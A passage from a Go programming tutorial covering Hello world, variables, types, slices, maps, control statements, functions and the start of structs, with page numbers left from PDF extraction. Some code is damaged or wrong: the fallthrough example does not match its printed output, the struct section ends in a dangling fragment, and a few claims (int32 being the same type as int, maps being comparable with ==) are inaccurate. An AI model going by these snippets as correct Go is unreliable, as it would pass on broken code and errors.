Previous chapter: Chapter 1 Summary
Next section: "Hello, Go"
29
Hello, Go
What makes Go different from other languages?

The Go programming language was created with one goal in mind, to be able to build scalable web-applications for large
scale audiences in a large team. So that is the reason they made the language as standardized as possible, hence the
gofmt tool and the strict usage guidelines to the language was for the sake of not having two factions in the developer
base, in other languages there are religious wars on where to keep the opening brace?
public static void main() {
or
public static void main()
{
or for python should we use 4 spaces or 6 spaces or a tab or two tabs and other user preferences. If you know python then
you might be aware of PEP8, which is a set of guidelines about how to write elegant code.
While this might seem to be a shallow problem, when the codebase grows and more and more people work on the same
code base it is becomes increasingly difficult to maintain the code's "beauty." We live in a world where robots can drive a
car, so we shouldn't just write code, we should write elegant code.
For other languages there are many variables when it comes to writing code. Every language is good for its use case, but
Go is a little special because it was designed at a company which is the very synonym of the Internet (and distributed
computing). Typically in order to optimize programs, developers choose to write Java over Python and C++ over Java, but
almost all available languages widely in use were written decades ago when 1GB storage was much pricier. Now storage
and computing is relatively cheap and computers are getting multiples cores, but the "old languages" are not harnessing
concurrency in a way that go does. It's not because those languages are bad; utilizing concurrency wasn't a relevant
usecase while the older languages evolved.
To mitigate all the problems that Google faced with current tools, they wrote a systems language called Go which you are
about to learn! There are many advantages to using golang and there are disadvantages too, for every coin has both sides.
One of the significant improvements in in code formatting. Google has designed the language to avoid debates on code
formatting. Go code written by anyone in the world (assuming they know and use gofmt ) will look exactly the same. This
won't seem to matter until you work in a team! Also when the company uses automated code review or some other fancy
technique, the formatted code may break in other languages which don't have strict and standard formatting rules, but not
in go!
Go was designed with concurrency in mind, please note that parallelism != concurrency, there is an amazing post by Rob
Pike on the golang blog, you will find it there, it is worth a read.
Another very important change that is the concept of GOPATH . Gone are the days when you had to create a folder called
code and then create workspaces for eclipse and what not. Now you have to keep one folder tree for go code which will
be updated by the package manager automatically. It is also recommended to create folders with either a custom domain or
the github domain, for example I created a task manager using golang so I created a set of folders
~/go/src/github.com/thewhitetulip/Tasks
Note: In *nix systems ~ stands for home directory, which is the windows equivalent of C:\\Users\\username . Now the
~/go/ is the universe for the gocode in your machine. This is a significant improvement over other languages; we can
store the code efficiently without hassles. While it might seem strange at first, this approach make a lot of sense than the
ridiculous package names, i.e. package names generated for other languages using reverse domains.
Note: Along with src there are two folders pkg which is for packages and bin which is for binary.
30
Hello, Go
This GOPATH advantage isn't just restricted to storing code in particular folder. When you have created five packages for
your project, you don't have to import them like "import ./db" . Instead you can use import
"github.com/thewhitetulip/Tasks/db" so that when executing go get on my repo, the go tool will find the package from
github.com/... path if it wasn't downloaded initially. This standardizes a lot of screwed up things in the programming
discipline. (<-- To remove and replace with actual explanation of why this is better)
While there may be some founded complaints that go creators have ignored all language research done since the past
30yrs, you cannot create a product or a language which everyone will fall in love with. There are always some or the other
use cases or constraints which the creators should consider. Considering all the advantages at least for web development I
do not think any language gets close to the advantages which go has even if you ignore all that I said above. Go is a
compiled language which means in production, you won't have to setup a JVM or a virtualenv and will instead have a
single static binary! Like an icing on a cake, all the modern libraries are in the standard library, such as the http lib,
allowing you to create webapps in golang without using a third party web framework.
2.1 Hello, Go
Before we start building an application in Go, we need to learn how to write a simple program. You can't expect to build a
building without first knowing how to build its foundation. Therefore, we are going to learn the basic syntax to run some
simple programs in this section.
Program
According to international practice, before you learn how to program in some languages, you will want to know how to write
a program to print "Hello world".
Are you ready? Let's Go!
package main
import "fmt"
func main() {
fmt.Printf("Hello, world or 你好，世界 or Καλημέρα κόσμε or こんにちは世界\n")
}
It prints following information.
Hello, world or 你好，世界 or Καλημέρα κόσμε or こんにちは世界
Explanation
One thing that you should know in the first is that Go programs are composed by package .
package <pkgName> (In this case is package main ) tells us this source file belongs to main package, and the keyword
main tells us this package will be compiled to a program instead of package files whose extensions are .a .
Every executable program has one and only one main package, and you need an entry function called main without any
arguments or return values in the main package.
In order to print Hello, world… , we called a function called Printf . This function is coming from fmt package, so we
import this package in the third line of source code, which is import "fmt"
The way to think about packages in Go is similar to Python, and there are some advantages: Modularity (break up your
program into many modules) and reusability (every module can be reused in many programs). We just talked about
concepts regarding packages, and we will make our own packages later.
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Hello, Go
On the fifth line, we use the keyword func to define the main function. The body of the function is inside of {} , just like
C, C++ and Java.
As you can see, there are no arguments. We will learn how to write functions with arguments in just a second, and you can
also have functions that have no return value or have several return values.
On the sixth line, we called the function Printf which is from the package fmt . This was called by the syntax <pkgName>.
<funcName> , which is very like Python-style.
As we mentioned in chapter 1, the package's name and the name of the folder that contains that package can be different.
Here the <pkgName> comes from the name in package <pkgName> , not the folder's name.
You may notice that the example above contains many non-ASCII characters. The purpose of showing this is to tell you that
Go supports UTF-8 by default. You can use any UTF-8 character in your programs.
Each go file is in some package, and that package should be a distinct folder in the GOPATH, but main is a special
package which doesn't require a main folder. This is one aspect which they left out for standardization! But should you
choose to make a main folder then you have to ensure that you run the binary properly. Also one go code can't have more
than one main go file.
~/go/src/github.com/thewhitetulip/Tasks/main $ go build ~/go/src/github.com/thewhitetulip/Tasks $ ./main/main
the thing here is that when your code is using some static files or something else, then you ought to run the binary from the
root of the application as we see in the second line above, I am running the main binary outside the main package,
sometimes you might wonder why your application isn't working then this might be one of the possible problems, please
keep this in mind.
One thing you will notice here is that go doesn't see to use semi colons to end a statement, well, it does, just there is a
minor catch, the programmer isn't expected to put semi colons, the compiler adds semi colons to the gocode when it
compiles which is the reason that this (thankfully!) is a syntax error
func main ()
{
}
because the compiler adds a semi colon at the end of main() which is a syntax error and as stated above, it helps avoid
religious wars, i wish they combine vim and emacs and create a universal editor which'll help save some more wars! But
for now we'll learn Go.
Conclusion
Go uses package (like modules in Python) to organize programs. The function main.main() (this function must be in the
main package) is the entry point of any program. Go standardizes language and most of the programming methodology,
saving time of developers which they'd have wasted in religious wars. There can be only one main package and only one
main function inside a go main package. Go supports UTF-8 characters because one of the creators of Go is a creator of
UTF-8, so Go has supported multiple languages from the time it was born.
Links
Directory
Previous section: Go basic knowledge
Next section: Go foundation
32
Hello, Go
33
Go foundation
2.2 Go foundation
In this section, we are going to teach you how to define constants, variables with elementary types and some skills in Go
programming.
Define variables
There are many forms of syntax that can be used to define variables in Go.
The keyword var is the basic form to define variables, notice that Go puts the variable type after the variable name.
// define a variable with name “variableName” and type "type"

var variableName type
Define multiple variables.
// define three variables which types are "type"

var vname1, vname2, vname3 type
Define a variable with initial value.
// define a variable with name “variableName”, type "type" and value "value"
var variableName type = value
Define multiple variables with initial values.
/*
Define three variables with type "type", and initialize their values.
vname1 is v1, vname2 is v2, vname3 is v3
*/
var vname1, vname2, vname3 type = v1, v2, v3
Do you think that it's too tedious to define variables use the way above? Don't worry, because the Go team has also found
this to be a problem. Therefore if you want to define variables with initial values, we can just omit the variable type, so the
code will look like this instead:
/*
Define three variables without type "type", and initialize their values.
vname1 is v1，vname2 is v2，vname3 is v3
*/
var vname1, vname2, vname3 = v1, v2, v3
Well, I know this is still not simple enough for you. Let's see how we fix it.
/*
Define three variables without type "type" and without keyword "var", and initialize their values.
vname1 is v1，vname2 is v2，vname3 is v3
*/
vname1, vname2, vname3 := v1, v2, v3
Now it looks much better. Use := to replace var and type , this is called a short assignment. It has one limitation: this
form can only be used inside of a functions. You will get compile errors if you try to use it outside of function bodies.
Therefore, we usually use var to define global variables.
34
Go foundation
_ (blank) is a special variable name. Any value that is given to it will be ignored. For example, we give 35 to b , and
discard 34 .( This example just show you how it works. It looks useless here because we often use this symbol
when we get function return values. )
_, b := 34, 35
If you don't use variables that you've defined in your program, the compiler will give you compilation errors. Try to compile
the following code and see what happens.
package main
func main() {
var i int
}
Constants
So-called constants are the values that are determined during compile time and you cannot change them during runtime. In
Go, you can use number, boolean or string as types of constants.
Define constants as follows.
const constantName = value

// you can assign type of constants if it's necessary
const Pi float32 = 3.1415926
More examples.
const Pi = 3.1415926
const i = 10000
const MaxThread = 10
const prefix = "astaxie_"
Elementary types
Boolean
In Go, we use bool to define a variable as boolean type, the value can only be true or false , and false will be the
default value. ( You cannot convert variables' type between number and boolean! )
// sample code
var isActive bool // global variable
var enabled, disabled = true, false // omit type of variables
func test() {
var available bool // local variable
valid := false // brief statement of variable
available = true // assign value to variable
}
Numerical types
Integer types include both signed and unsigned integer types. Go has int and uint at the same time, they have same
length, but specific length depends on your operating system. They use 32-bit in 32-bit operating systems, and 64-bit in 64-
bit operating systems. Go also has types that have specific length including rune , int8 , int16 , int32 , int64 , byte ,
uint8 , uint16 , uint32 , uint64 . Note that rune is alias of int32 and byte is alias of uint8 .
35
Go foundation
One important thing you should know that you cannot assign values between these types, this operation will cause compile
errors.
var a int8
var b int32
c := a + b
Although int32 has a longer length than int8, and has the same type as int, you cannot assign values between them. ( c will
be asserted as type int here )
Float types have the float32 and float64 types and no type called float . The latter one is the default type if using brief
statement.
That's all? No! Go supports complex numbers as well. complex128 (with a 64-bit real and 64-bit imaginary part) is the
default type, if you need a smaller type, there is one called complex64 (with a 32-bit real and 32-bit imaginary part). Its form
is RE+IMi , where RE is real part and IM is imaginary part, the last i is the imaginary number. There is a example of
complex number.
var c complex64 = 5+5i

//output: (5+5i)
fmt.Printf("Value is: %v", c)
String
We just talked about how Go uses the UTF-8 character set. Strings are represented by double quotes "" or backticks ``
.
// sample code
var frenchHello string // basic form to define string
var emptyString string = "" // define a string with empty string
func test() {
no, yes, maybe := "no", "yes", "maybe" // brief statement
japaneseHello := "Ohaiou"
frenchHello = "Bonjour" // basic form of assign values
}
It's impossible to change string values by index. You will get errors when you compile the following code.
var s string = "hello"

s[0] = 'c'
What if I really want to change just one character in a string? Try the following code.
s := "hello"
c := []byte(s) // convert string to []byte type
c[0] = 'c'
s2 := string(c) // convert back to string type
fmt.Printf("%s\n", s2)
You use the + operator to combine two strings.
s := "hello,"
m := " world"
a := s + m
fmt.Printf("%s\n", a)
and also.
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Go foundation
s := "hello"
s = "c" + s[1:] // you cannot change string values by index, but you can get values instead.
fmt.Printf("%s\n", s)
What if I want to have a multiple-line string?
m := `hello
world`
` will not escape any characters in a string.
Error types
Go has one error type for purpose of dealing with error messages. There is also a package called errors to handle
errors.
err := errors.New("emit macho dwarf: elf header corrupted")

if err != nil {
fmt.Print(err)
}
Underlying data structure

The following picture comes from an article about Go data structure in Russ Cox's Blog. As you can see, Go utilizes blocks
of memory to store data.
Figure 2.1 Go underlying data structure
Some skills
Define by group
If you want to define multiple constants, variables or import packages, you can use the group form.
Basic form.
import "fmt"
import "os"
const i = 100
const pi = 3.1415
const prefix = "Go_"
var i int
var pi float32
var prefix string
Group form.
37
Go foundation
import(
"fmt"
"os"
)
const(
i = 100
pi = 3.1415
prefix = "Go_"
)
var(
i int
pi float32
prefix string
)
Unless you assign the value of constant is iota , the first value of constant in the group const() will be 0 . If following
constants don't assign values explicitly, their values will be the same as the last one. If the value of last constant is iota ,
the values of following constants which are not assigned are iota also.
iota enumerate
Go has one keyword called iota , this keyword is to make enum , it begins with 0 , increased by 1 .
const(
x = iota // x == 0
y = iota // y == 1
z = iota // z == 2
w // If there is no expression after the constants name, it uses the last expression,
//so it's saying w = iota implicitly. Therefore w == 3, and y and z both can omit "= iota" as well.
)
const v = iota // once iota meets keyword `const`, it resets to `0`, so v = 0.
const (
e, f, g = iota, iota, iota // e=0,f=0,g=0 values of iota are same in one line.
)
Some rules
The reason that Go is concise because it has some default behaviors.
Any variable that begins with a capital letter means it will be exported, private otherwise.
The same rule applies for functions and constants, no public or private keyword exists in Go.
array, slice, map

array
array is an array obviously, we define one as follows.
var arr [n]type
in [n]type , n is the length of the array, type is the type of its elements. Like other languages, we use [] to get or set
element values within arrays.
38
Go foundation
var arr [10]int // an array of type [10]int

arr[0] = 42 // array is 0-based
arr[1] = 13 // assign value to element
fmt.Printf("The first element is %d\n", arr[0])
// get element value, it returns 42
fmt.Printf("The last element is %d\n", arr[9])
//it returns default value of 10th element in this array, which is 0 in this case.
Because length is a part of the array type, [3]int and [4]int are different types, so we cannot change the length of
arrays. When you use arrays as arguments, functions get their copies instead of references! If you want to use references,
you may want to use slice . We'll talk about later.
It's possible to use := when you define arrays.
a := [3]int{1, 2, 3} // define an int array with 3 elements
b := [10]int{1, 2, 3}
// define a int array with 10 elements, of which the first three are assigned.
//The rest of them use the default value 0.
c := [...]int{4, 5, 6} // use `…` to replace the length parameter and Go will calculate it for you.
You may want to use arrays as arrays' elements. Let's see how to do this.
// define a two-dimensional array with 2 elements, and each element has 4 elements.
doubleArray := [2][4]int{[4]int{1, 2, 3, 4}, [4]int{5, 6, 7, 8}}
// The declaration can be written more concisely as follows.

easyArray := [2][4]int{{1, 2, 3, 4}, {5, 6, 7, 8}}
Array underlying data structure.
Figure 2.2 Multidimensional array mapping relationship
slice
In many situations, the array type is not a good choice -for instance when we don't know how long the array will be when
we define it. Thus, we need a "dynamic array". This is called slice in Go.
slice is not really a dynamic array . It's a reference type. slice points to an underlying array whose declaration is
similar to array , but doesn't need length.
// just like defining an array, but this time, we exclude the length.
var fslice []int
Then we define a slice , and initialize its data.
slice := []byte {'a', 'b', 'c', 'd'}
slice can redefine existing slices or arrays. slice uses array[i:j] to slice, where i is the start index and j is end
index, but notice that array[j] will not be sliced since the length of the slice is j-i .
39
Go foundation
// define an array with 10 elements whose types are bytes

var ar = [10]byte {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j'}
// define two slices with type []byte

var a, b []byte
// 'a' points to elements from 3rd to 5th in array ar.

a = ar[2:5]
// now 'a' has elements ar[2],ar[3] and ar[4]
// 'b' is another slice of array ar

b = ar[3:5]
// now 'b' has elements ar[3] and ar[4]
Notice the differences between slice and array when you define them. We use […] to let Go calculate length but use
[] to define slice only.
Their underlying data structure.
Figure 2.3 Correspondence between slice and array
slice has some convenient operations.
slice is 0-based, ar[:n] equals to ar[0:n]
The second index will be the length of slice if omitted, ar[n:] equals to ar[n:len(ar)] .
You can use ar[:] to slice whole array, reasons are explained in first two statements.
More examples pertaining to slice
// define an array
var array = [10]byte{'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j'}
// define two slices
var aSlice, bSlice []byte
// some convenient operations

aSlice = array[:3] // equals to aSlice = array[0:3] aSlice has elements a,b,c
aSlice = array[5:] // equals to aSlice = array[5:10] aSlice has elements f,g,h,i,j
aSlice = array[:] // equals to aSlice = array[0:10] aSlice has all elements
// slice from slice

aSlice = array[3:7] // aSlice has elements d,e,f,g，len=4，cap=7
bSlice = aSlice[1:3] // bSlice contains aSlice[1], aSlice[2], so it has elements e,f
bSlice = aSlice[:3] // bSlice contains aSlice[0], aSlice[1], aSlice[2], so it has d,e,f
bSlice = aSlice[0:5] // slice could be expanded in range of cap, now bSlice contains d,e,f,g,h
bSlice = aSlice[:] // bSlice has same elements as aSlice does, which are d,e,f,g
slice is a reference type, so any changes will affect other variables pointing to the same slice or array. For instance, in
the case of aSlice and bSlice above, if you change the value of an element in aSlice , bSlice will be changed as
well.
slice is like a struct by definition and it contains 3 parts.
A pointer that points to where slice starts.

The length of slice .
Capacity, the length from start index to end index of slice .
Array_a := [10]byte{'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j'}
Slice_a := Array_a[2:5]
The underlying data structure of the code above as follows.
40
Go foundation
Figure 2.4 Array information of slice
There are some built-in functions for slice.
len gets the length of slice .
cap gets the maximum length of slice
append appends one or more elements to slice , and returns slice .
copy copies elements from one slice to the other, and returns the number of elements that were copied.
Attention: append will change the array that slice points to, and affect other slices that point to the same array. Also, if
there is not enough length for the slice ( (cap-len) == 0 ), append returns a new array for this slice. When this happens,
other slices pointing to the old array will not be affected.
map
map behaves like a dictionary in Python. Use the form map[keyType]valueType to define it.
Let's see some code. The 'set' and 'get' values in map are similar to slice , however the index in slice can only be of
type 'int' while map can use much more than that: for example int , string , or whatever you want. Also, they are all able
to use == and != to compare values.
// use string as the key type, int as the value type, and `make` initialize it.
var numbers map[string] int
// another way to define map
numbers := make(map[string]int)
numbers["one"] = 1 // assign value by key
numbers["ten"] = 10
numbers["three"] = 3
fmt.Println("The third number is: ", numbers["three"]) // get values

// It prints: The third number is: 3
Some notes when you use map.
map is disorderly. Everytime you print map you will get different results. It's impossible to get values by index -you
have to use key .

map doesn't have a fixed length. It's a reference type just like slice .
len works for map also. It returns how many key s that map has.
It's quite easy to change the value through map . Simply use numbers["one"]=11 to change the value of key one to
11 .
You can use form key:val to initialize map's values, and map has built-in methods to check if the key exists.
Use delete to delete an element in map .
// Initialize a map
rating := map[string]float32 {"C":5, "Go":4.5, "Python":4.5, "C++":2 }
// map has two return values. For the second return value, if the key doesn't
//exist，'ok' returns false. It returns true otherwise.
csharpRating, ok := rating["C#"]
if ok {
fmt.Println("C# is in the map and its rating is ", csharpRating)
} else {
fmt.Println("We have no rating associated with C# in the map")
}
delete(rating, "C") // delete element with key "c"
As I said above, map is a reference type. If two map s point to same underlying data, any change will affect both of them.
41
Go foundation
m := make(map[string]string)
m["Hello"] = "Bonjour"
m1 := m
m1["Hello"] = "Salut" // now the value of m["hello"] is Salut
make, new
make does memory allocation for built-in models, such as map , slice , and channel , while new is for types' memory
allocation.
new(T) allocates zero-value to type T 's memory, returns its memory address, which is the value of type *T . By Go's
definition, it returns a pointer which points to type T 's zero-value.
new returns pointers.
The built-in function make(T, args) has different purposes than new(T) . make can be used for slice , map , and
channel , and returns a type T with an initial value. The reason for doing this is because the underlying data of these
three types must be initialized before they point to them. For example, a slice contains a pointer that points to the
underlying array , length and capacity. Before these data are initialized, slice is nil , so for slice , map and
channel , make initializes their underlying data and assigns some suitable values.
make returns non-zero values.
The following picture shows how new and make are different.
Figure 2.5 Underlying memory allocation of make and new
Zero-value does not mean empty value. It's the value that variables default to in most cases. Here is a list of some zero-
values.
int 0
int8 0
int32 0
int64 0
uint 0x0
rune 0 // the actual type of rune is int32
byte 0x0 // the actual type of byte is uint8
float32 0 // length is 4 byte
float64 0 //length is 8 byte
bool false
string ""
Links
Directory
Previous section: "Hello, Go"
Next section: Control statements and functions
42
Control statements and functions
2.3 Control statements and functions

In this section, we are going to talk about control statements and function operations in Go.
Control statement
The greatest invention in programming is flow control. Because of them, you are able to use simple control statements that
can be used to represent complex logic. There are three categories of flow control: conditional, cycle control and
unconditional jump.
if
if will most likely be the most common keyword in your programs. If it meets the conditions, then it does something and it
does something else if not.
if doesn't need parentheses in Go.
if x > 10 {
fmt.Println("x is greater than 10")
} else {
fmt.Println("x is less than or equal to 10")
}
The most useful thing concerning if in Go is that it can have one initialization statement before the conditional statement.
The scope of the variables defined in this initialization statement are only available inside the block of the defining if .
// initialize x, then check if x greater than

if x := computedValue(); x > 10 {
fmt.Println("x is greater than 10")
} else {
fmt.Println("x is less than 10")
}
// the following code will not compile

fmt.Println(x)
Use if-else for multiple conditions.
if integer == 3 {
fmt.Println("The integer is equal to 3")
} else if integer < 3 {
fmt.Println("The integer is less than 3")
} else {
fmt.Println("The integer is greater than 3")
}
goto
Go has a goto keyword, but be careful when you use it. goto reroutes the control flow to a previously defined label
within the body of same code block.
43
func myFunc() {
i := 0
Here: // label ends with ":"
fmt.Println(i)
i++
goto Here // jump to label "Here"
}
The label name is case sensitive.
for
for is the most powerful control logic in Go. It can read data in loops and iterative operations, just like while .
for expression1; expression2; expression3 {

//...
}
expression1 , expression2 and expression3 are all expressions, where expression1 and expression3 are variable
definitions or return values from functions, and expression2 is a conditional statement. expression1 will be executed once
before looping, and expression3 will be executed after each loop.
Examples are more useful than words.
package main
import "fmt"
func main(){
sum := 0;
for index:=0; index < 10 ; index++ {
sum += index
}
fmt.Println("sum is equal to ", sum)
}
// Print：sum is equal to 45
Sometimes we need multiple assignments, but Go doesn't have the , operator, so we use parallel assignment like i, j =
i + 1, j - 1 .
We can omit expression1 and expression3 if they are not necessary.
sum := 1
for ; sum < 1000; {
sum += sum
}
Omit ; as well. Feel familiar? Yes, it's identical to while .
sum := 1
for sum < 1000 {
sum += sum
}
There are two important operations in loops which are break and continue . break jumps out of the loop, and continue
skips the current loop and starts the next one. If you have nested loops, use break along with labels.
44
for index := 10; index>0; index-- {

if index == 5{
break // or continue
}
fmt.Println(index)
}
// break prints 10、9、8、7、6
// continue prints 10、9、8、7、6、4、3、2、1
for can read data from array , slice , map and string when it is used together with range .
for k,v := range map {

fmt.Println("map's key:",k)
fmt.Println("map's val:",v)
}
Because Go supports multi-value returns and gives compile errors when you don't use values that were defined, you may
want to use _ to discard certain return values.
for _, v := range map{

fmt.Println("map's val:", v)
}
With go you can as well create an infinite loop, which is equivalent to while true { ... } in other languges.
for {
// your logic
}
switch
Sometimes you may find that you are using too many if-else statements to implement some logic, which may make it
difficult to read and maintain in the future. This is the perfect time to use the switch statement to solve this problem.
switch sExpr {
case expr1:
some instructions
case expr2:
some other instructions
case expr3:
some other instructions
default:
other code
}
The type of sExpr , expr1 , expr2 , and expr3 must be the same. switch is very flexible. Conditions don't have to be
constants and it executes from top to bottom until it matches conditions. If there is no statement after the keyword switch ,
then it matches true .
i := 10
switch i {
case 1:
fmt.Println("i is equal to 1")
case 2, 3, 4:
fmt.Println("i is equal to 2, 3 or 4")
case 10:
fmt.Println("i is equal to 10")
default:
fmt.Println("All I know is that i is an integer")
}
45
In the fifth line, we put many values in one case , and we don't need to add the break keyword at the end of case 's body.
It will jump out of the switch body once it matched any case. If you want to continue to matching more cases, you need to
use the fallthrough statement.
integer := 6
switch integer {
case 4:
fmt.Println("integer <= 4")
fallthrough
case 5:
fallthrough
case 6:
fallthrough
case 7:
fallthrough
case 8:
fallthrough
default:
fmt.Println("default case")
}
This program prints the following information.
integer <= 6
integer <= 7
integer <= 8
default case
Functions
Use the func keyword to define a function.
func funcName(input1 type1, input2 type2) (output1 type1, output2 type2) {

// function body
// multi-value return
return value1, value2
}
We can extrapolate the following information from the example above.
Use keyword func to define a function funcName .

Functions have zero, one or more than one arguments. The argument type comes after the argument name and
arguments are separated by , .
Functions can return multiple values.
There are two return values named output1 and output2 , you can omit their names and use their type only.
If there is only one return value and you omitted the name, you don't need brackets for the return values.
If the function doesn't have return values, you can omit the return parameters altogether.
If the function has return values, you have to use the return statement somewhere in the body of the function.
Let's see one practical example. (calculate maximum value)
46
package main
import "fmt"
// return greater value between a and b

func max(a, b int) int {
if a > b {
return a
}
return b
}
func main() {
x := 3
y := 4
z := 5
max_xy := max(x, y) // call function max(x, y)

max_xz := max(x, z) // call function max(x, z)
fmt.Printf("max(%d, %d) = %d\n", x, y, max_xy)

fmt.Printf("max(%d, %d) = %d\n", x, z, max_xz)
fmt.Printf("max(%d, %d) = %d\n", y, z, max(y, z)) // call function here
}
In the above example, there are two arguments in the function max , their types are both int so the first type can be
omitted. For instance, a, b int instead of a int, b int . The same rules apply for additional arguments. Notice here that
max only has one return value, so we only need to write the type of its return value -this is the short form of writing it.
Multi-value return
One thing that Go is better at than C is that it supports multi-value returns.
We'll use the following example here.
package main
import "fmt"
// return results of A + B and A * B

func SumAndProduct(A, B int) (int, int) {
return A + B, A * B
}
func main() {
x := 3
y := 4
xPLUSy, xTIMESy := SumAndProduct(x, y)
fmt.Printf("%d + %d = %d\n", x, y, xPLUSy)

fmt.Printf("%d * %d = %d\n", x, y, xTIMESy)
}
The above example returns two values without names -you have the option of naming them also. If we named the return
values, we would just need to use return to return the values since they are initialized in the function automatically. Notice
that if your functions are going to be used outside of the package, which means your function names start with a capital
letter, you'd better write complete statements for return ; it makes your code more readable.
func SumAndProduct(A, B int) (add int, multiplied int) {

add = A+B
multiplied = A*B
return
}
47
Variadic functions
Go supports functions with a variable number of arguments. These functions are called "variadic", which means the
function allows an uncertain numbers of arguments.
func myfunc(arg ...int) {}
arg …int tells Go that this is a function that has variable arguments. Notice that these arguments are type int . In the
body of function, the arg becomes a slice of int .
for _, n := range arg {

fmt.Printf("And the number is: %d\n", n)
}
Pass by value and pointers

When we pass an argument to the function that was called, that function actually gets the copy of our variables so any
change will not affect to the original variable.
Let's see one example in order to prove what i'm saying.
package main
import "fmt"
// simple function to add 1 to a

func add1(a int) int {
a = a + 1 // we change value of a
return a // return new value of a
}
func main() {
x := 3
fmt.Println("x = ", x) // should print "x = 3"
x1 := add1(x) // call add1(x)
fmt.Println("x+1 = ", x1) // should print "x+1 = 4"

}
Can you see that? Even though we called add1 with x , the origin value of x doesn't change.
The reason is very simple: when we called add1 , we gave a copy of x to it, not the x itself.
Now you may ask how I can pass the real x to the function.
We need use pointers here. We know variables are stored in memory and they have some memory addresses. So, if we
want to change the value of a variable, we must change its memory address. Therefore the function add1 has to know the
memory address of x in order to change its value. Here we pass &x to the function, and change the argument's type to
the pointer type *int . Be aware that we pass a copy of the pointer, not copy of value.
48
package main
import "fmt"
// simple function to add 1 to a

func add1(a *int) int {
*a = *a + 1 // we changed value of a
return *a // return new value of a
}
func main() {
x := 3
x1 := add1(&x) // call add1(&x) pass memory address of x
fmt.Println("x+1 = ", x1) // should print "x+1 = 4"

}
Now we can change the value of x in the functions. Why do we use pointers? What are the advantages?
Allows us to use more functions to operate on one variable.

Low cost by passing memory addresses (8 bytes), copy is not an efficient way, both in terms of time and space, to
pass variables.
channel , slice and map are reference types, so they use pointers when passing to functions by default. (Attention:
If you need to change the length of slice , you have to pass pointers explicitly)
defer
Go has a well designed keyword called defer . You can have many defer statements in one function; they will execute in
reverse order when the program executes to the end of functions. In the case where the program opens some resource
files, these files would have to be closed before the function can return with errors. Let's see some examples.
func ReadWrite() bool {

file.Open("file")
// Do some work
if failureX {
file.Close()
return false
}
if failureY {
file.Close()
return false
}
file.Close()
return true
}
We saw some code being repeated several times. defer solves this problem very well. It doesn't only help you to write
clean code but also makes your code more readable.
49
func ReadWrite() bool {

file.Open("file")
defer file.Close()
if failureX {
return false
}
if failureY {
return false
}
return true
}
If there are more than one defer s, they will execute by reverse order. The following example will print 4 3 2 1 0 .
for i := 0; i < 5; i++ {

defer fmt.Printf("%d ", i)
}
Functions as values and types

Functions are also variables in Go, we can use type to define them. Functions that have the same signature can be seen
as the same type.
type typeName func(input1 inputType1 , input2 inputType2 [, ...]) (result1 resultType1 [, ...])
What's the advantage of this feature? The answer is that it allows us to pass functions as values.
package main
import "fmt"
type testInt func(int) bool // define a function type of variable
func isOdd(integer int) bool {

return integer%2 != 0
}
func isEven(integer int) bool {

return integer%2 == 0
}
// pass the function `f` as an argument to another function

func filter(slice []int, f testInt) []int {
var result []int
for _, value := range slice {
if f(value) {
result = append(result, value)
}
}
return result
}
var slice = []int{1, 2, 3, 4, 5, 7}
func main() {
odd := filter(slice, isOdd)
even := filter(slice, isEven)
fmt.Println("slice = ", slice)

fmt.Println("Odd elements of slice are: ", odd)
fmt.Println("Even elements of slice are: ", even)
}
50
It's very useful when we use interfaces. As you can see testInt is a variable that has a function as type and the returned
values and arguments of filter are the same as those of testInt . Therefore, we can have complex logic in our
programs, while maintaining flexibility in our code.
Panic and Recover

Go doesn't have try-catch structure like Java does. Instead of throwing exceptions, Go uses panic and recover to deal
with errors. However, you shouldn't use panic very much, although it's powerful.
Panic is a built-in function to break the normal flow of programs and get into panic status. When a function F calls
panic , F will not continue executing but its defer functions will continue to execute. Then F goes back to the break
point which caused the panic status. The program will not terminate until all of these functions return with panic to the first
level of that goroutine . panic can be produced by calling panic in the program, and some errors also cause panic like
array access out of bounds errors.
Recover is a built-in function to recover goroutine s from panic status. Calling recover in defer functions is useful
because normal functions will not be executed when the program is in the panic status. It catches panic values if the
program is in the panic status, and it gets nil if the program is not in panic status.
The following example shows how to use panic .
var user = os.Getenv("USER")
func init() {
if user == "" {
panic("no value for $USER")
}
}
The following example shows how to check panic .
func throwsPanic(f func()) (b bool) {

defer func() {
if x := recover(); x != nil {
b = true
}
}()
f() // if f causes panic, it will recover
return
}
main function and init function

Go has two retentions which are called main and init , where init can be used in all packages and main can only be
used in the main package. These two functions are not able to have arguments or return values. Even though we can
write many init functions in one package, I strongly recommend writing only one init function for each package.
Go programs will call init() and main() automatically, so you don't need to call them by yourself. For every package,
the init function is optional, but package main has one and only one main function.
Programs initialize and begin execution from the main package. If the main package imports other packages, they will be
imported in the compile time. If one package is imported many times, it will be only compiled once. After importing
packages, programs will initialize the constants and variables within the imported packages, then execute the init
function if it exists, and so on. After all the other packages are initialized, programs will initialize constants and variables in
the main package, then execute the init function inside the package if it exists. The following figure shows the process.
Figure 2.6 Flow of programs initialization in Go
51
import
We use import very often in Go programs as follows.
import(
"fmt"
)
Then we use functions in that package as follows.
fmt.Println("hello world")
fmt is from Go standard library, it is located within $GOROOT/pkg. Go supports third-party packages in two ways.
1. Relative path import "./model" // load package in the same directory, I don't recommend this way.
2. Absolute path import "shorturl/model" // load package in path "$GOPATH/pkg/shorturl/model"
There are some special operators when we import packages, and beginners are always confused by these operators.
1. Dot operator. Sometime we see people use following way to import packages.
import(
. "fmt"
)
The dot operator means you can omit the package name when you call functions inside of that package. Now
fmt.Printf("Hello world") becomes to Printf("Hello world") .
2. Alias operation. It changes the name of the package that we imported when we call functions that belong to that
package.
import(
f "fmt"
)
Now fmt.Printf("Hello world") becomes to f.Printf("Hello world") .

3. _ operator. This is the operator that is difficult to understand without someone explaining it to you.
import (
"database/sql"
_ "github.com/ziutek/mymysql/godrv"
)
The _ operator actually means we just want to import that package and execute its init function, and we are not
sure if we want to use the functions belonging to that package.
Links
Directory
Previous section: Go foundation
Next section: struct
52
struct
2.4 struct
struct
We can define new types of containers of other properties or fields in Go just like in other programming languages. For
example, we can create a type called person to represent a person, with fields name and age. We call this kind of type a
struct .
type person struct {

name string
age int
}
Look how easy it is to define a struct !
There are two fields.
name is a string used to store a person's name.
age is a int used to store a person's age.
Let's see how to use it.

name string
age int
}
var P person // p is person type
P.name = "Astaxie" // assign "Astaxie" to the field 'name' of p

P.age = 25 // assign 25 to field 'age' of p
fmt.Printf("The person's name is %s\n", P.name) // access field 'name' of p
